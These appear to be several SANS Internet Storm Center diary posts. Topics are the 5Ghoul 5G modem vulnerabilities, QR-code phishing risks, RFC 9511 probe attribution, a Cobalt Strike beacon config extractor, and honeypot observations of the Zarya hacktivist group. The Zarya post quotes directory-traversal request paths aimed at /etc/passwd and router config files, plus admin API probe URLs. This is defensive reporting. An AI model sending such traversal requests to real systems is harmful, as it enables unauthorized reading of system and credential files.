The introduction of 5G networks has brought increased quality-of-life upgrades such as increased network speeds, the ability to handle concurrent users/network congestion and improved secure communication protocols compared to 4G technology. These benefits are expected to assist sectors such as medical, automation and internet-of-things (IoT) deployments where low-latency network communication is required. Ensuring the fidelity and security of 5G is imperative as organizations and users increasingly adopt it in their lives. Today, the Automated Systems SEcuriTy (ASSET) Research Group from the Singapore University of Technology and Design (SUTD) revealed the 5Ghoul family of implementation-level vulnerabilities in commercial 5G mobile network modems from major chipset vendors such as Qualcomm and MediaTek [1]. In this diary, I will give a brief background on 5G and 5Ghoul, highlight affected products and discuss the next steps affected users/organizations could consider.

A conventional 5G connection involves three key components – the gNodeB (gNB), User Equipment (UE) and the Core Network. The gNB is also known as the base station in traditional cellular networks and serves as the access point for wireless communication between the UE and 5G core network. UE refers to devices used by end users, such as 5G smartphones, tablets or mobile routers. Finally, the Core Network is the backbone of the 5G network architecture, providing control and management functions such as authentication, security, mobility management, session establishment, and data routing between network entities. With reference to Figure 1, an illustration of a clean 5G Standalone (SA) connection process between a 5G UE device (e.g., a smartphone) and a legitimate gNB is shown. Protocols such as Radio Resource Control (RRC), Non-Access Stratum (NAS), Medium Access Control (MAC), Packet Data Convergence Protocol (PDCP) and Radio Link Control (RLC) from both network layer (OSI layer 3) and data link layer (OSI layer 2) are involved to ensure that the connection is established successfully and securely.

Figure 1: Illustration of 5G Standalone (SA) Connection Procedure Between Legitimate gNB and UE (figure reproduced with permission from ASSET Research Group)

The code name “5Ghoul” was coined from 5G and the word ghoul. In popular legends, a ghoul is a demon-like creature which tries to distract travellers and preys on them once it is successful [1]. Similarly, for the 5Ghoul family of vulnerabilities, UEs could be continuously exploited (e.g. dropping connections, freezing connections, which requires manual rebooting, or downgrading a 5G connection to 4G) once they are connected to the malicious 5Ghoul gNB. A total of 16 vulnerabilities were uncovered, of which 10 Common Vulnerabilities and Exposures (CVE) Identifiers (IDs) were issued, and 2 CVE IDs were pending assignment. The summary of vulnerabilities, affected devices and patch status are outlined in Table 1 below.

Table 1: Patch Status, Vulnerabilities and Firmware Version of Devices That Were Tested (*Qualcomm and MediaTek have already released security patches to the above-mentioned product vendors)

Vendor/Product	5G Modem	Type	Firmware/ Software Version	CVE ID	Patch Status
Quectel RM500Q-GL	Qualcomm X55	USB Modem	Aug 03 2021	CVE-2023-33042	Not Yet Available*
Simcom SIM8202G	Qualcomm X55	USB Modem	SIM8202G-M2_V1.2	CVE-2023-33042 CVE-2023-33043	Not Yet Available*
Fibocom FM150-AE	Qualcomm X55	USB Modem	89602.1000.00.04.07.20	CVE-2023-33042 CVE-2023-33044	Not Yet Available*
Telit FT980m	Qualcomm X55	USB Modem	38.23.001-B001-P0H.000640	CVE-2023-33042 CVE-2023-33043 CVE-2023-33044	Not Yet Available*
OnePlus Nord CE 2 5G	MediaTek Dimensity 900 5G	Smartphone	M_V3_P10	CVE-2023-20702 CVE-2023-32841 CVE-2023-32842 CVE-2023-32843 CVE-2023-32844 CVE-2023-32845 CVE-2023-32846	Not Yet Available*
Xiaomi Redmi K40	MediaTek Dimensity 1200 5G	Smartphone	MOLY.NR15.R3.TC8.PR2.SP.V2.1.P70	CVE-2023-20702 CVE-2023-32841 CVE-2023-32842 CVE-2023-32843 CVE-2023-32844 CVE-2023-32845 CVE-2023-32846	Not Yet Available*
Asus ROG Phone 5s	Qualcomm X60	Smartphone	M3.13.24.73-Anakin2	CVE-2023-33042 CVE-2023-33043 CVE-2023-33044	Not Yet Available*

At the point of writing, security patches for the devices listed in Table 1 were unfortunately not yet available. However, Qualcomm and MediaTek have already released security patches to the product vendors at least two months in advance before making the issues publicly available in their security bulletins. The corresponding security bulletins that covered the CVE IDs have just been published this week on December 4, 2023 [2, 3].

The 5Ghoul vulnerabilities were implementation-based (i.e., vulnerabilities were caused by implementing the 5G protocol in the affected products). It is trivial to exploit by an attacker as no information about the victim’s SIM card is required. Most vulnerabilities would lead to a Denial-of-Service (DoS), except for one vulnerability that led to a downgrade of 5G connectivity to 4G [1]. There are two scenarios where adversaries could target their victims. In the first scenario, a UE may not have yet connected to any gNB (e.g., alighting from a plane and their devices being in airplane mode). Upon turning the UE on and in the vicinity of a 5Ghoul-enabled gNB, the user will experience a DoS or downgrade attack (depending on the attacks being executed by the 5Ghoul-enabled gNB). In the second scenario, a user has an existing connection with a benign 5G gNB. An adversary could utilize various techniques (e.g. frequency jamming or social engineering to enable airplane mode on a smartphone briefly) to get the UE disconnected from the benign 5G gNB while having a 5Ghoul-enabled gNB broadcast at a stronger signal strength. After the victim attempts to reconnect to the 5G network, the stronger signal strength of the 5Ghoul-enabled gNB would make the UE connect to it, thus exposing the victim to 5Ghoul attacks.

The potential scale of devices affected by 5Ghoul is not merely limited to the seven devices listed in Table 1. Based on the devices that used vulnerable 5G modems from Qualcomm and MediaTek identified by the researchers and with reference to Figure 2, a total of 714 smartphone models were estimated to be affected (a wide variety of Android phone brands and Apple devices) [1]. However, it should also be noted that the affected 5G modems could be used in other 5G-enabled environments such as Industrial IoT solutions, home appliances and IP Cameras [2].

Figure 2: Breakdown of Device Brands Affected by 5Ghoul (figure reproduced with permission from ASSET Research Group)

How should everyone handle the usage of 5G-enabled devices, especially if the devices used are affected by 5Ghoul? One piece of good (or not so good) news is that 5Ghoul affects 5G Standalone (SA) mode only, so setting your device to connect to 5G Non-Standalone (NSA) mode could help reduce the risk brought by 5Ghoul. The downside is that the benefits brought by 5G SA would not be utilized. A slightly more drastic measure would be avoiding using 5G entirely, meaning a self-imposed DoS from 5G. Looking out for suspicious adversaries may not work if a network of well-established 5Ghoul-enabled gNBs with strong signal strength is deployed and the victim steps into the signal zone.

For end users, checking if the security patches are available for your device is highly recommended. As most of the 5Ghoul attacks are DoS related, a loss of 5G connection, especially if your phone was using 5G SA mode, could indicate that a 5Ghoul attack is ongoing. A persistent 4G connection, despite being in an area where a 5G signal is usually received, could also indicate an attack.

Organizations, governments, and critical infrastructure may also be using affected components. If stakeholders are still determining the extent of 5G usage and the associated devices, an audit of the devices/components in use should be carried out. A risk assessment should also be conducted to assess the risk posed by 5Ghoul to users or day-to-day operations. Keeping in mind the attack vector, an interim measure could very well be a policy to use 5G NSA or avoid the use of 5G while affected devices are patched/replaced.

Figure 3: 5G UE Software Supply Ecosystem (figure reproduced with permission from ASSET Research Group)

Finally, for 5G product vendors and service providers, it is highly recommended to contact the researchers for the PoC to test products for 5Ghoul vulnerabilities [4] now or implement the security patches that Qualcomm or MediaTek has provided. With reference to Figure 3, the importance of all involved parties (Chipset vendor, OS vendor and Product vendor) cannot be underestimated. A well-tested software development kit (SDK), along with well-tested implementations of technologies such as 5G, can affect the whole technology ecosystem. Chipset vendors must execute carrier recertification for every upstream 5G modem software version change before the updated firmware can be included in the OS security patches (e.g. Android/iOS). Additional time will also be needed by product vendors who may need to tweak the various smartphone firmware based on their product customizations. Equipment such as Customer Premises Equipment (CPE) routers and USB modems also face similar situations, albeit having matters slightly easier since adherence to the release schedule of OS vendors is not required. Security patches received from the chipset vendors could be directly implemented into their platform software (usually a customized Linux OS). As customers and users increasingly discern the need for their privacy and data to be protected, it is in the vendors’ best interests to ensure product security for continued presence in the market.

References:
[1] https://www.5ghoul.com
[2] https://docs.qualcomm.com/product/publicresources/securitybulletin/december-2023-bulletin.html
[3] https://corp.mediatek.com/product-security-bulletin/December-2023/
[4] https://github.com/asset-group/5ghoul-5g-nr-attacks

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

[This is a Guest Diary by Jeremy Wensuc, an ISC intern as part of the SANS.edu BACS program]

Introduction

QR codes, those square-shaped digital puzzles found on everything from advertisements, packaging, and even restaurant menus, have made our lives more convenient. However, this blog post aims to shed light on the often-overlooked dangers of QR codes and provide insights into how malicious actors can exploit them. Understanding these risks is essential to ensure your digital safety in an age where QR codes are omnipresent.

What Are QR Codes

QR codes, short for Quick Response codes, are two-dimensional barcodes that store information, such as website links, contact details, or app download links in a graphical black-and-white pattern. It was first created in 1994 by a Japanese company called Denso Wave for tracking automotive parts during manufacturing. When scanned, the QR code can direct the user to a website, display text, or trigger other actions such as adding contact information, connecting to a Wi-Fi network, or initiating a payment.

How do QR codes work

QR codes work by encoding information in a two-dimensional pattern of black squares and white spaces. The information is typically encoded as a series of binary digits (0s and 1s), and the specific arrangement of these elements within the QR code structure determines the data it represents. Here is a breakdown of a QR code: 

Finder Patterns

• These are the three square patterns located at the corners of the QR code. They help the QR code reader locate and identify the code in an image. 

Timing Patterns

• These are horizontal and vertical lines of alternating black and white modules that help the QR code reader determine the size and orientation of the code. 

Alignment Patterns

• These are smaller square patterns strategically placed throughout the QR code. Alignment patterns assist the QR code reader in correcting distortions and tilts in the code, improving scanning accuracy. 

Quiet Zone

• The quiet zone is the empty margin around the QR code. It ensures that there is enough space between the QR code and any other elements (graphics, text, borders) to prevent interference with the scanning process. 

Version Information

• For QR codes of version 7 and above, a version information area is included, providing details about the QR code version, error correction level, and other parameters. 

Data and Error Correction Blocks

• The central part of the QR code contains data modules, which store the encoded information (such as text, URLs, or other data). This section is divided into data blocks, each of which includes both data and error correction codewords. The error correction allows the QR code to be scanned accurately, even if part of it is damaged or obscured. 

Format Information

• This section contains information about the QR code's format, including the error correction level and mask pattern used. It helps the QR code reader interpret and decode the data correctly. [1]

QR Code Attacks 

The use of QR codes has surged in recent years, with applications ranging from marketing campaigns to contactless payments. However, cybercriminals have recognized the potential of exploiting QR codes to their advantage. The risks associated with QR codes include:

Quishing

• Quishing, short for QR code phishing, involves creating fake QR codes that mimic legitimate ones. Cybercriminals then place these codes on, flyers, labels, posters, or any other public or space where unsuspecting people can scan them. A good example of this happened in Texas, where cybercriminals put fake QR code stickers on pay-to-park kiosks, tricking drivers into thinking they could use them to pay for parking. Once scanned, the QR code sent the drivers to a site where they could enter their credit card information, unknowingly providing their personal info to the cybercriminals. [2]

QRLjacking

• Quick Response Login (QRL) is a user-friendly authentication method that uses QR codes for logging into websites, applications, or any other digital services. QRLJacking, or Quick Response Code Login Jacking, is a type of attack where cybercriminals create a phishing site mimicking a login page to convince the victim to scan the QR code instead of the authentic one, leading to the compromise of sensitive information or unauthorized access to an account. A good example of this happened in August of 2023 when cybercriminals targeted the Steam gaming platform and attempted to steal the user's login information so the cybercriminals could impersonate them. [3]

Malware Distribution
Cybercriminals create QR codes that point to malicious websites that distribute malware through drive-by-download attacks. Which is an attack where the website will forcefully download software on your device when you visit the website. 

Scanner Apps
While most QR code scanner apps are legitimate and serve their intended purpose. There have been instances where Cybercriminals have created fake or compromised QR code scanner apps to distribute malware. A good example of this happened in December 2020 with the app Barcode Scanner. [4]

How to protect yourself

While QR codes are generally safe, there are some precautions you can take to protect yourself from potential risks associated with malicious QR codes.[5]

Use Your Smartphone's Built-in Scanner

• Consider using the built-in QR code scanning feature in your smartphone's camera app. Many modern smartphones have this functionality, reducing the need for third-party apps.

Use Reputable QR Code Scanner Apps

• Download QR code scanner apps only from official app stores, such as the Apple App Store or Google Play Store. Stick to well-known and reputable apps with positive reviews.

Update Apps Regularly

• Keep your QR code scanner app, as well as all other apps, up-to-date. Developers release updates to address security vulnerabilities and improve performance.

Verify the Source

• Be cautious when scanning QR codes from unknown or untrusted sources. Avoid codes received through posters, advertisements, unsolicited messages, emails, or from unfamiliar websites.

Check URLs

• Before scanning a QR code, manually check the destination URL or use a URL Preview Service to see the destination URL before visiting the website. If it seems suspicious or doesn't match the expected content, avoid scanning the code.

Security software

• Consider using security software on your device to provide an additional layer of protection against malware.

Conclusion

QR codes have become integral to our daily lives, but it's crucial to recognize that they come with hidden security risks. By taking the precautions outlined in this blog post, you can enjoy the convenience of QR codes while minimizing the dangers they may pose. In an era where QR codes are prevalent, staying informed and vigilant is key to protecting your digital safety.

[1] https://www.print2d.com/dt/services_consult_validation.shtml 
[2] https://www.govtech.com/security/beware-of-quishing-criminals-use-qr-codes-to-steal-data 
[3] https://voidzone.me/posts/a-phishing-attempt-on-steam-that-became-qrljacking/?21398 
[4] https://www.malwarebytes.com/blog/news/2021/02/barcode-scanner-app-on-google-play-infects-10-million-users-with-one-update 
[5] https://www.ic3.gov/Media/Y2022/PSA220118 
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

While going through newly published RFCs last week, I noticed one which may turn out to be quite useful for security practitioners, even though it is just an “informational” document. It is the RFC 9511 – Attribution of Internet Probes[1].

There are many organizations and individuals around the globe, who perform port scans of internet-connected systems belonging to third parties. Some of these are malicious actors, however, there is a significant number or well-meaning people and companies who do so as well (e.g., for the purposes of research or troubleshooting), and unsolicited packets may therefore be considered a “background noise” of the internet.

Nevertheless, there are times when one might wish to attribute a specific “scan” (i.e., unsolicited packet or set of packets) to its originator, or at least discover whether the traffic originated from a potential threat actor or a researcher/research organization - for example, if one saw that a new public IP address started to periodically scan all ports of one’s infrastructure in the last week.

So far, security analysts and administrators have had to rely mostly on WHOIS[2], RDAP[3], reverse DNS lookups and third-party data (e.g., data from ISC/DShield[4]) in order to gain some idea of who might be behind a specific scan and whether it was malicious or not. However, authors of the aforementioned RFC came up with several ideas of how originators of “internet probes” might simplify their own identification.

In the document, they define a "Probe Description File", which an originator of a scan may place in the path “/.well-known/probing.txt” on a web server, which is accessible on the same IP address, which originated the scan (and/or on a domain, to which a reverse DNS lookup of the IP address points). Format of the file is based on the security.txt file, as defined by RFC 9116[5], and should contain fields Canonical, Contact, Expires, Preferred-Languages and Description, as the following example taken from the RFC shows.

# Canonical URI (if any)
Canonical: https://example.net/measurement.txt

# Contact address
Contact: mailto:lab@example.net

# Validity
Expires: 2023-12-31T18:37:07z

# Languages
Preferred-Languages: en, es, fr

# Probes description
Description: This is a one-line string description of the probes.

It should be noted that IANA has already added the “/.well-known/probing.txt” URI suffix to its “Well-Known URIs” registry[6].

The RFC also mentions the option of providing identifying information “in-band”, i.e., by including a “Probe Description URI” (URI pointing to a Probe Description File, an email address or a phone number) in a probe itself, in the data field or payload of a packet. In such cases, the URI must start at the first octet of the payload and must be null terminated (and if the URI can’t be placed at the beginning of the payload, then it must be preceded by an octet of 0x00). This means that if one wanted to include a Probe Description URI in packets sent by Nmap, for example, one could do so quite easily using the --data option[7].

To sum up, implementing the recommendations of this RFC might not be a bad idea for those who actively probe third-party systems as part of their research activities, and for security analysts and administrators, it is certainly good to know that this RFC exists, as it might potentially help them distinguish between a “benign” scan and a malicious one.

And while it should be stressed that threat actors might set up Probe Description Files on their servers as easily as anyone else, and blindly trusting information contained in such files is therefore unadvisable, RFC 9511 is still a useful document. As its authors themselves put it, the solution which they came up with “is not perfect, but it provides a way for probe attribution, which is better than no solution at all”[1].

[1] https://www.rfc-editor.org/rfc/rfc9511.html
[2] https://datatracker.ietf.org/doc/html/rfc3912
[3] https://about.rdap.org/
[4] https://isc.sans.edu/data/
[5] https://www.rfc-editor.org/rfc/rfc9116
[6] https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml
[7] https://nmap.org/book/man-briefoptions.html

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

I published an update for my 1768.py tool, a tool to extract the configuration from Cobalt Strike beacons.

1768.py tries to extract the beacon configuration from payloads and process memory dumps. It looks for the embedded configuration, the TLV table that is XOR encoded (0x2E version 4).

Prior this version (0.0.20), process memory dumps were just handled as raw files.

This new version also looks for the "runtime configuration": this is a C/C++ array found on the heap, created by the beacon code by parsing the embedded configuration. This array contains values (integers and pointers) for each configuration item. An example can be found in this blog post.

For example, the portnumber is configuration item 2, and is stored as an integer in the third position of the array (array[2]).

The public key is configuration item 7, a binary sequence (ASN1 DER encoded). It is stored as a pointer (to the binary sequence) in the eigtht position of the array (array[7]). The binary sequence representing the public key, is also stored on the heap. Since we are dealing with pointer in C/C++, we have 32-bit and 64-bit implementations.

Since address translations need to take place, 1768.py require the python module minidump to be installed.

If it is not installed and a runtime configuration is found, a warning will be displayed:

When the module is installed, 1768.py can extract and parse the runtime configuration (if present in clear):

This is an example of a process memory dump that contains a runtime configuration, but no embedded configuration (or at least, with an encoding that 1768 recognizes).

It starts with "Runtime config" and tells you if it's 32-bit or 64-bit.

Process memory dumps can contain both an embedded and a runtime configuration, and then my tool will dump both:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Last week, I wrote about a system associated with pro-Russian hacktivist scanning for vulnerable Sharepoint servers [1]. Thanks to @DonPasci on X for pointing me to an article by Radware about the same group using Mirai [2][3]. This group has been active for a while, using various low-hanging fruit exploits to hunt for defacement targets.

The group calls itself "Zarya" (). The Cyrillic alphabet does not contain the letter "z." After Russian troops used the "Z" symbol to mark their vehicles in their push on Kyiv early in 2022, the character became a popular symbol to express support for the war in Russia. It has often been used to replace the letter "," which is pronounced like the English "Z." Therefore, the name of the hacktivist group is likely supposed to be pronounced as "," or "dawn" in English.

But let's return to the IP address we identified last week: 212.113.106.100. This IP address has not been idle since then. We have observed several different exploits with our honeypots.

Many of them are just simple recognizance. Requests for "/" to retrieve index pages. These are likely just used to identify possible targets.
There are also some directory traversal attempts. I have no idea if they will work with reasonably up-to-date systems. In particular, requests like "/../../../../etc/passwd". 

Some of the directory traversal attempts are going after more specific vulnerabilities: /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash . "nodogsplash" is a captive portal designed for OpenWRT based routers. I can't find a specific directory traversal vulnerability documented for this extension. If you have the nodogsplash installed, See if this works and let me know.

There are several additional exploit attempts like this, hunting for configuration files. For example /ajax-api/2.0/mlflow-artifacts/artifacts. Straight from the MLflow web page, "MLflow provides a unified platform to navigate the intricate maze of model development, deployment, and management." MLFlow has also been probed recently by 139.59.79.166, and that software may deserve some additional investigation.

And just simple access to admin APIs like, for example, this Coldfusion URL: ///CFIDE/adminapi/accessmanager.cfc . This URL was recently probed by  18.218.123.107. 

None of the other IPs probing the same vulnerabilities ( 18.218.123.107 and 139.59.79.166) display the defacement page. However, the similarity of the exploit scans may suggest some coordination. However, the user agent strings suggest that different tools are used for the scans.

Currently, Shodan only shows two IP addresses with the defacement banner. 212.113.106.100 and 185.174.137.26. The second IP shows similar "random" attacks, searching for configuration files and other simple exploits.

Geolocation of the IPs is a bit tricky. Both IPs reverse resolve to aeza.network, a low-cost hosting provider. The mailing address listed on the provider's homepage is a small townhouse in Sheffield, across the street from Sheffield Soccer Stadium. Aeza maintains data centers in several European locations but has a significant presence in Russia. Aeza uses Whois to point to a file with additional geolocation details for its address space [4]. According to this file, 212.113.106.100 is in Vienna, Austria, and 185.174.137.26 is in Helsinki, Finland. Traceroute results are inconclusive. The last responding hop for both hosts is 89.187.184.98, which appears to be in England.

I notified the ISP last week. The ISP has not responded, and the sites are still actively scanning. However, it is not unusual for ISPs and hosting providers to ignore abuse reports.

Zarya isn't exactly the type of threat you should be afraid of, but it is sad how these groups can still be effective due to organizations exposing unpatched or badly configured systems to the internet. Most of the attacks sent by Zarya will not succeed even if they hit a vulnerable system. For some added protection, you may consider blocking some of the Aeza network's traffic after ensuring that this network hosts no critical resources you need. Aeza uses ASN 210644.

[1] https://isc.sans.edu/diary/Pro+Russian+Attackers+Scanning+for+Sharepoint+Servers+to+Exploit+CVE202329357/30436/
[2] https://twitter.com/DonPasci/status/1730256497693593880
[3] https://www.radware.com/security/threat-advisories-and-attack-reports/pro-russian-hacktivists-leverage-mirai-botnets/
[4] https://aeza.net/static/ipv4_f.csv

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|